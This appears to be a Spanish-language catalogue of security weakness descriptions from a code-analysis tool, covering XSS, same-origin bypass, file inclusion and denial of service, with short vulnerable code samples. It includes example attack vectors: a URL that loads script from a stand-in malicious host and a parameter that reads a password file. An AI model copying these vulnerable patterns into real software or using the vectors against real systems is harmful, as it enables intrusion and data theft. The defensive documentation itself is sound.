Reino: Input Validation and Representation

Los problemas de validación y representación de entradas están causados por metacaracteres, codificaciones alternativas y representaciones numéricas. Los problemas de seguridad surgen de entradas en las que se confía. Estos problemas incluyen: «desbordamientos de búfer», ataques de «scripts de sitios», "SQL injection" y muchas otras acciones.

175 elementos encontrados
Debilidades
Abstract
El envío de datos no validados a un explorador web puede dar lugar a que este ejecute código malintencionado.
Explanation
Las vulnerabilidades Cross-Site Scripting (XSS) se producen cuando:

1. Los datos entran en una aplicación web a través de un origen no confiable. En el caso de XSS autoinfligido, los datos se leen desde un cuadro de texto u otro valor que se puede controlar desde el DOM y escribirse nuevamente en la página con código del cliente.


2. Los datos se incluyen en el contenido dinámico que se envía a un usuario web sin validación. En el caso de XSS autoinfligido, el contenido malintencionado se ejecuta como parte de la modificación de DOM (Modelo de objetos de documento).

El contenido malintencionado en el caso de XSS autoinfligido adopta la forma de un segmento de código JavaScript o cualquier otro tipo de código que el explorador ejecute. Un XSS autoinfligido es principalmente un ataque propio, no suele considerarse importante, pero debe tratarse igual que una deficiencia de XSS estándar si puede producirse alguna de las siguientes situaciones:

- Se identifica una vulnerabilidad de falsificación de solicitud entre sitios en su sitio web.
- Un ataque de ingeniería social puede convencer a un usuario de atacar su propia cuenta y comprometer su sesión.
Ejemplo 1: Considere el formulario HTML:


<div id="myDiv">
Employee ID: <input type="text" id="eid"><br>
...
<button>Show results</button>
</div>
<div id="resultsDiv">
...
</div>


El siguiente segmento de código jQuery lee un ID de empleado del cuadro de texto y lo muestra al usuario.


$(document).ready(function(){
$("#myDiv").on("click", "button", function(){
var eid = $("#eid").val();
$("resultsDiv").append(eid);
...
});
});


Estos códigos de ejemplo funcionan correctamente si el ID de empleado, de la entrada de texto con ID eid, contiene solo texto alfanumérico estándar. Si eid tiene un valor que incluye metacaracteres o código fuente, una vez que el usuario hace clic en el botón, el código se agrega al DOM para que el explorador lo ejecute. Si un atacante puede convencer a un usuario de introducir una entrada malintencionada en la entrada de texto, esto es solo un XSS basado en DOM.
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Jesse Kornblum Don't Be a Self XSS Victim Facebook
[4] Hans Petrich Weaponizing self-xss Silent Break Security
[5] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1
[6] Standards Mapping - CIS Microsoft Azure Foundations Benchmark complete
[7] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 1
[8] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 5
[9] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[10] Standards Mapping - CIS Kubernetes Benchmark complete
[11] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[12] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[13] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[14] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[15] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[16] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[17] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[18] Standards Mapping - FIPS200 SI
[19] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[20] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[21] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[22] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[23] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[25] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[26] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[27] Standards Mapping - OWASP Top 10 2021 A03 Injection
[28] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[29] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[30] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[31] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[34] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[35] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[36] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[37] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[38] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[39] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[40] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[41] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[42] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[43] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[44] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[45] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[46] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[62] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[63] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[64] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[65] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[66] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[67] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[68] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.javascript.cross_site_scripting_self
Abstract
Cuando se permite que la entrada de usuario controle la configuración que determina la directiva de mismo origen (SOP), se pueden crear vulnerabilidades de tipo XSS.
Explanation
Las vulnerabilidades Cross-site scripting (XSS) por medio de la elusión de la directiva de mismo origen (SOP) se producen cuando:

1. Los datos entran en una aplicación web a través de un origen no confiable.


2. Los datos se pasan a un ajuste que determina el origen de la página en la que se pueden ejecutar los scripts, como document.domain.

Cuando esto sucede, un usuario malintencionado de otro dominio puede establecer una configuración idéntica para document.domain y ejecutar scripts en la página como si se encontrara en el mismo dominio.

Ejemplo 1: En el siguiente ejemplo se toma un parámetro de URL domain y se pasa como el dominio de la directiva de mismo origen (SOP) de la página.


<SCRIPT>
var pos = document.URL.indexOf("domain=")+7;
document.domain = document.URL.substring(pos,document.URL.length);
</SCRIPT>


La mayoría de los exploradores solo permitirán que se pase un superdominio válido a document.domain, de modo que, si la página se encuentra en "http://www.example.com", document.domain se pueda definir como "www.example.com" o "example.com". No se podría definir como "com" o "example.org".
No obstante, si un usuario malintencionado se encuentra en otra parte del sitio web bajo su control, podría ejecutar scripts en la parte del sitio que no controle.
References
[1] Standards Mapping - CIS Azure Kubernetes Service Benchmark 5
[2] Standards Mapping - CIS Microsoft Azure Foundations Benchmark complete
[3] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 5
[4] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[5] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[6] Standards Mapping - CIS Kubernetes Benchmark complete
[7] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[8] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[11] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[12] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[13] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[14] Standards Mapping - FIPS200 SI
[15] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[16] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[17] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[18] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[19] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[25] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[26] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[34] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[37] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[38] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[39] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[40] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[41] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[63] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.javascript.cross_site_scripting_SOP_bypass
Abstract
Permitir que la entrada de usuario no validada controle archivos incluidos dinámicamente en un archivo HTML puede provocar la ejecución de un código malintencionado.
Explanation
Muchos lenguajes de secuencia de comandos web modernos permiten la reutilización y la modularización del código mediante la capacidad para incluir archivos de origen adicionales en un archivo de encapsulación. Esta capacidad a menudo se utiliza para aplicar una apariencia y funcionalidad estándares a una aplicación (creación de plantillas), compartir funciones sin necesidad de usar código compilado y dividir el código en archivos más pequeños y fáciles de administrar. Los archivos incluidos se interpretan como parte del archivo principal y se ejecutan de la misma forma. Las vulnerabilidades asociadas a la inclusión de archivos se presentan cuando la ruta del archivo incluido está controlada por una entrada de usuario no validada.

Ejemplo 1: En el siguiente código se utiliza un nombre de plantilla especificado por el usuario y se incluye en la página HTML que se va a procesar.


...
ClientScript.RegisterClientScriptInclude("RequestParameterScript", HttpContext.Current.Request.Params["includedURL"]);
...


En el Example 1, un atacante podría asumir por completo el control de la instrucción "include" dinámica proporcionando un valor malintencionado para includedURL, lo que provocaría que el programa incluyese un archivo de un sitio externo.

Si el usuario malintencionado especifica un archivo válido en una instrucción "include" dinámica, .NET insertará el contenido de ese archivo en el archivo HTML enviado al usuario. En el caso de un archivo de texto sin formato, por ejemplo web.config, este se puede procesar como parte de la salida HTML. Y, lo que es peor, si el atacante puede especificar una ruta a un sitio remoto controlado por este, la instrucción "include" dinámica ejecutará el código malintencionado arbitrario proporcionado por el atacante.
desc.dataflow.dotnet.dangerous_file_inclusion
Abstract
Permitir que la entrada de usuario sin validar controle los archivos que se incluyen dinámicamente en un JSP puede dar lugar a la ejecución código malintencionado.
Explanation
Muchos lenguajes de secuencia de comandos web modernos permiten la reutilización y la modularización del código mediante la capacidad para incluir archivos de origen adicionales en un archivo de encapsulación. Esta capacidad a menudo se utiliza para aplicar una apariencia y funcionalidad estándares a una aplicación (creación de plantillas), compartir funciones sin necesidad de usar código compilado y dividir el código en archivos más pequeños y fáciles de administrar. Los archivos incluidos se interpretan como parte del archivo principal y se ejecutan de la misma forma. Las vulnerabilidades asociadas a la inclusión de archivos se presentan cuando la ruta del archivo incluido está controlada por una entrada de usuario no validada.

Ejemplo 1: el siguiente es un ejemplo de vulnerabilidad de inclusión de archivo local. El código de ejemplo toma un nombre de plantilla especificado por el usuario y lo incluye en la página JSP para que aparezca.

...
<jsp:include page="<%= (String)request.getParameter(\"template\")%>">
...

Si el atacante especifica un archivo válido para la instrucción de inclusión dinámica, el contenido de dicho archivo se transferirá al intérprete JSP para que aparezca en la página.

En el caso de un vector de ataques del formulario

specialpage.jsp?template=/WEB-INF/database/passwordDB

el intérprete JSP mostrará el contenido del archivo /WEB-INF/database/passwordDB en la página JSP, comprometiendo así la seguridad del sistema.

Y, lo que es peor, si el atacante puede especificar una ruta a un sitio remoto controlado por este, la instrucción "include" dinámica ejecutará el código malintencionado arbitrario proporcionado por el atacante.

Ejemplo 2: El código de ejemplo usa la etiqueta c:import para importar un archivo remoto especificado por el usuario en la página JSP actual.

...
<c:import url="<%= request.getParameter("privacy")%>">
...

Un vector de ataques del formulario

policy.jsp?privacy=http://www.malicioushost.com/attackdata.js

puede insertar código malintencionado en la página JSP actual desde un sitio remoto controlado por el atacante.
desc.dataflow.java.dangerous_file_inclusion
Abstract
Permitir que la entrada de usuario sin validar controle archivos que se incluyen dinámicamente en PHP puede provocar la ejecución de código malintencionado.
Explanation
Muchos lenguajes de secuencia de comandos web modernos permiten la reutilización y la modularización del código mediante la capacidad para incluir archivos de origen adicionales en un archivo de encapsulación. Esta capacidad a menudo se utiliza para aplicar una apariencia y funcionalidad estándares a una aplicación (creación de plantillas), compartir funciones sin necesidad de usar código compilado y dividir el código en archivos más pequeños y fáciles de administrar. Los archivos incluidos se interpretan como parte del archivo principal y se ejecutan de la misma forma. Las vulnerabilidades asociadas a la inclusión de archivos se presentan cuando la ruta del archivo incluido está controlada por una entrada de usuario no validada.

Las vulnerabilidades de inclusión de archivos son una de las vulnerabilidades más prolíficas y graves en las aplicaciones de PHP. Antes de PHP 4.2.0, las instalaciones de PHP se suministraban con la opción register_globals habilitada de forma predeterminada, lo que permitía a los usuarios malintencionados sobrescribir fácilmente las variables internas del servidor. A pesar de que al deshabilitar la opción register_globals se puede limitar la exposición del programa a las vulnerabilidades de inclusión de archivos, estos problemas todavía ocurren en las aplicaciones actuales de PHP.

Ejemplo 1: el siguiente código incluye un archivo en la $server_root definida por la aplicación en una plantilla.


...
<?php include($server_root . '/myapp_header.php'); ?$gt;
...


Si register_globals está establecido como on, un atacante podría sobrescribir el valor de $server_root suministrando $server_root como parámetro de solicitud, con lo que obtendría el control parcial de la instrucción "include" dinámica.

Ejemplo 2: en el siguiente código se utiliza un nombre de plantilla especificado por el usuario y se incluye en la página PHP que se va a procesar.


...
<?php include($_GET['headername']); ?$gt;
...


En el Example 2, un atacante podría asumir por completo el control de la instrucción "include" dinámica proporcionando un valor malintencionado para headername, lo que provocaría que el programa incluyese un archivo de un sitio externo.

Si el usuario malintencionado especifica un archivo válido para la instrucción "include" dinámica, el contenido de dicho archivo se transferirá al intérprete PHP. En el caso de un archivo de texto sin formato, por ejemplo /etc/shadow, este se puede procesar como parte de la salida HTML. Y, lo que es peor, si el atacante puede especificar una ruta a un sitio remoto controlado por este, la instrucción "include" dinámica ejecutará el código malintencionado arbitrario proporcionado por el atacante.
References
[1] Using Register Globals PHP Guide
desc.dataflow.php.dangerous_file_inclusion
Abstract
Un atacante podrá ser capaz de crear un archivo en el sistema con contenido arbitrario.
Explanation
Un atacante podrá ser capaz de crear un archivo en el sistema de archivos del servidor con contenido arbitrario. El archivo creado podría utilizarlo más tarde un atacante con el fin de realizar ataques adicionales que dependan de la capacidad de controlar el contenido inyectado en el archivo.

Si el atacante es capaz de controlar el contenido del archivo y el archivo lo sirve un servidor web, entonces podrá inyectar un comando de shell web malicioso que le puede permitir ejecutar comandos arbitrarios en el servidor de forma remota.

Si el atacante crea el archivo con el contenido de un archivo diferente en el sistema de archivos, podrá leer los archivos arbitrarios en el sistema de archivos a los que se puede acceder mediante los permisos de la aplicación vulnerable.
References
[1] Exploit PHP’s mail() to get remote code execution
desc.dataflow.php.dangerous_file_injection
Abstract
Un usuario malintencionado podría bloquear el programa o hacer que no esté disponible de otro modo para autorizar a los usuarios.
Explanation
Los usuarios malintencionados podrían denegar el servicio a los usuarios autorizados inundando la aplicación con solicitudes, pero los ataques de inundación suelen ser desactivados en la capa de red. Más problemáticos son los errores que permiten que un usuario malintencionado sobrecargue la aplicación mediante un pequeño número de solicitudes. Este tipo de errores permite que el usuario malintencionado especifique la cantidad de recursos del sistema que van a utilizar sus solicitudes o la duración que tendrán, lo que da lugar a una situación de agotamiento de recursos.

Ejemplo 1: el código siguiente permite a un usuario especificar la cantidad de tiempo durante el que el proceso de trabajo en curso estará en suspensión. Si se especifica un número alto, un atacante puede ocupar el proceso de trabajo de forma indefinida.


...
CALL FUNCTION 'ENQUE_SLEEP'
EXPORTING
SECONDS = usrInput.
...
desc.dataflow.abap.denial_of_service
Abstract
Un atacante podría hacer que el programa se bloquee o no esté disponible para los usuarios legítimos.
Explanation
Los atacantes pueden denegar el servicio a usuarios legítimos inundando la aplicación con solicitudes, pero los ataques de inundación a menudo pueden desactivarse en la capa de red. Más problemáticos son los errores que permiten a un atacante sobrecargar la aplicación utilizando una pequeña cantidad de solicitudes. Dichos errores permiten al atacante especificar la cantidad de recursos del sistema que consumirán sus solicitudes o la duración durante la cual los usarán.

De forma predeterminada, ASP.NET limita el tamaño de los diccionarios proporcionados por el cliente, como HttpRequest.Files ,HttpRequest.Form ,HttpRequest.Cookies ,HttpRequest.QueryString ,HttpRequest.Headers ,HttpRequest.ServerVariables a 1000, y el tamaño se puede aumentar o disminuir usando el parámetro aspnet:MaxHttpCollectionKeys en el archivo de configuración. Sin embargo, aumentar el tamaño a un valor más alto aumenta la probabilidad de un ataque DoS.

Ejemplo 1: en el siguiente ejemplo, aspnet:MaxHttpCollectionKeys está definido como 2147483647.

...
<appSettings>
<add key="aspnet:MaxHttpCollectionKeys" value="2147483647" />
</appSettings>
...
References
[1] ASP.NET appSettings Element Microsoft
desc.configuration.dotnet.denial_of_service
Abstract
Un usuario malintencionado podría bloquear el programa o hacer que no esté disponible de otro modo para autorizar a los usuarios.
Explanation
Los usuarios malintencionados podrían denegar el servicio a los usuarios autorizados inundando la aplicación con solicitudes, pero los ataques de inundación suelen ser desactivados en la capa de red. Más problemáticos son los errores que permiten que un usuario malintencionado sobrecargue la aplicación mediante un pequeño número de solicitudes. Este tipo de errores permite que el usuario malintencionado especifique la cantidad de recursos del sistema que van a utilizar sus solicitudes o la duración que tendrán para utilizarlos.

Ejemplo 1: el código siguiente permite a un usuario especificar la cantidad de tiempo que el proceso actual estará en suspensión. Si especifica un número grande, un atacante podrá ocupar el proceso indefinidamente.


unsigned int usrSleepTime = uatoi(usrInput);
sleep(usrSleepTime);
desc.dataflow.cpp.denial_of_service
Abstract
Un usuario malintencionado podría bloquear el programa o hacer que no esté disponible de otro modo para autorizar a los usuarios.
Explanation
Los usuarios malintencionados podrían denegar el servicio a los usuarios autorizados inundando la aplicación con solicitudes, pero los ataques de inundación suelen ser desactivados en la capa de red. Más problemáticos son los errores que permiten que un usuario malintencionado sobrecargue la aplicación mediante un pequeño número de solicitudes. Este tipo de errores permite que el usuario malintencionado especifique la cantidad de recursos del sistema que van a utilizar sus solicitudes o la duración que tendrán para utilizarlos.

Ejemplo 1: el siguiente código permite al usuario especificar la cantidad de tiempo durante el cual un subproceso estará en modo de hibernación. Si se especifica un número grande, un atacante podría ocupar el subproceso indefinidamente. Con un pequeño número de solicitudes, el atacante podría agotar el grupo de subprocesos de la aplicación.


Sleep(url.duration);
desc.dataflow.cfml.denial_of_service
Abstract
Un atacante podría hacer que el programa se bloquee o no esté disponible para los usuarios legítimos.
Explanation
Los atacantes pueden denegar el servicio a usuarios legítimos inundando la aplicación con solicitudes, pero los ataques de inundación a menudo pueden desactivarse en la capa de red. Más problemáticos son los errores que permiten a un atacante sobrecargar la aplicación utilizando una pequeña cantidad de solicitudes. Dichos errores permiten al atacante especificar la cantidad de recursos del sistema que consumirán sus solicitudes o la duración durante la cual los usarán.

Ejemplo 1: El siguiente código permite al usuario especificar la cantidad de tiempo durante el cual se ejecutará una función Future. Si especifica un número grande, un atacante puede bloquear la función Future indefinidamente.


final duration = Platform.environment['DURATION'];
Future.delayed(Duration(seconds: int.parse(duration!)), () => ...);
desc.dataflow.dart.denial_of_service
Abstract
Un usuario malintencionado podría bloquear el programa o hacer que no esté disponible de otro modo para autorizar a los usuarios.
Explanation
Los usuarios malintencionados podrían denegar el servicio a los usuarios autorizados inundando la aplicación con solicitudes, pero los ataques de inundación suelen ser desactivados en la capa de red. Más problemáticos son los errores que permiten que un usuario malintencionado sobrecargue la aplicación mediante un pequeño número de solicitudes. Este tipo de errores permite que el usuario malintencionado especifique la cantidad de recursos del sistema que van a utilizar sus solicitudes o la duración que tendrán para utilizarlos.

Ejemplo 1: el siguiente código permite al usuario especificar la cantidad de tiempo durante el cual un subproceso estará en modo de hibernación. Si se especifica un número grande, un atacante podría ocupar el subproceso indefinidamente. Con un pequeño número de solicitudes, el atacante podría agotar el grupo de subprocesos de la aplicación.


int usrSleepTime = Integer.parseInt(usrInput);
Thread.sleep(usrSleepTime);
Ejemplo 2: el siguiente código lee una cadena de un archivo zip. Como utiliza el método readLine(), leerá una cantidad ilimitada de datos de entrada. Un atacante podría aprovechar este código para provocar una OutOfMemoryException o consumir una gran cantidad de memoria a fin de que el programa dedique más tiempo a realizar la recopilación de elementos no utilizados o se quede sin memoria durante alguna operación posterior.


InputStream zipInput = zipFile.getInputStream(zipEntry);
Reader zipReader = new InputStreamReader(zipInput);
BufferedReader br = new BufferedReader(zipReader);
String line = br.readLine();
References
[1] DOS-1: Beware of activities that may use disproportionate resources Oracle
desc.dataflow.java.denial_of_service
Abstract
Un usuario malintencionado podría bloquear el programa o hacer que no esté disponible de otro modo para autorizar a los usuarios.
Explanation
Los usuarios malintencionados podrían denegar el servicio a los usuarios autorizados inundando la aplicación con solicitudes, pero los ataques de inundación suelen ser desactivados en la capa de red. Más problemáticos son los errores que permiten que un usuario malintencionado sobrecargue la aplicación mediante un pequeño número de solicitudes. Este tipo de errores permite que el usuario malintencionado especifique la cantidad de recursos del sistema que van a utilizar sus solicitudes o la duración que tendrán para utilizarlos.

Ejemplo 1: el código siguiente permite a un usuario especificar el tamaño del sistema de archivos que se va a utilizar. Si se especifica un número alto, un atacante puede agotar los recursos del sistema de archivos.


var fsync = requestFileSystemSync(0, userInput);
Ejemplo 2: el código siguiente escribe en un archivo. Dado que se puede escribir y volver a escribir una y otra vez en el archivo hasta que el agente usuario lo considere cerrado, se ven afectados la cuota de disco, el ancho de banda de E/S y los procesos que puedan requerir un análisis del contenido del archivo.


function oninit(fs) {
fs.root.getFile('applog.txt', {create: false}, function(fileEntry) {
fileEntry.createWriter(function(fileWriter) {
fileWriter.seek(fileWriter.length);
var bb = new BlobBuilder();
bb.append('Appending to a file');
fileWriter.write(bb.getBlob('text/plain'));
}, errorHandler);
}, errorHandler);
}

window.requestFileSystem(window.TEMPORARY, 1024*1024, oninit, errorHandler);
desc.dataflow.javascript.denial_of_service
Abstract
Un usuario malintencionado podría bloquear el programa o hacer que no esté disponible de otro modo para autorizar a los usuarios.
Explanation
Los usuarios malintencionados podrían denegar el servicio a los usuarios autorizados inundando la aplicación con solicitudes, pero los ataques de inundación suelen ser desactivados en la capa de red. Más problemáticos son los errores que permiten que un usuario malintencionado sobrecargue la aplicación mediante un pequeño número de solicitudes. Este tipo de errores permite que el usuario malintencionado especifique la cantidad de recursos del sistema que van a utilizar sus solicitudes o la duración que tendrán para utilizarlos.
desc.dataflow.php.denial_of_service
Abstract
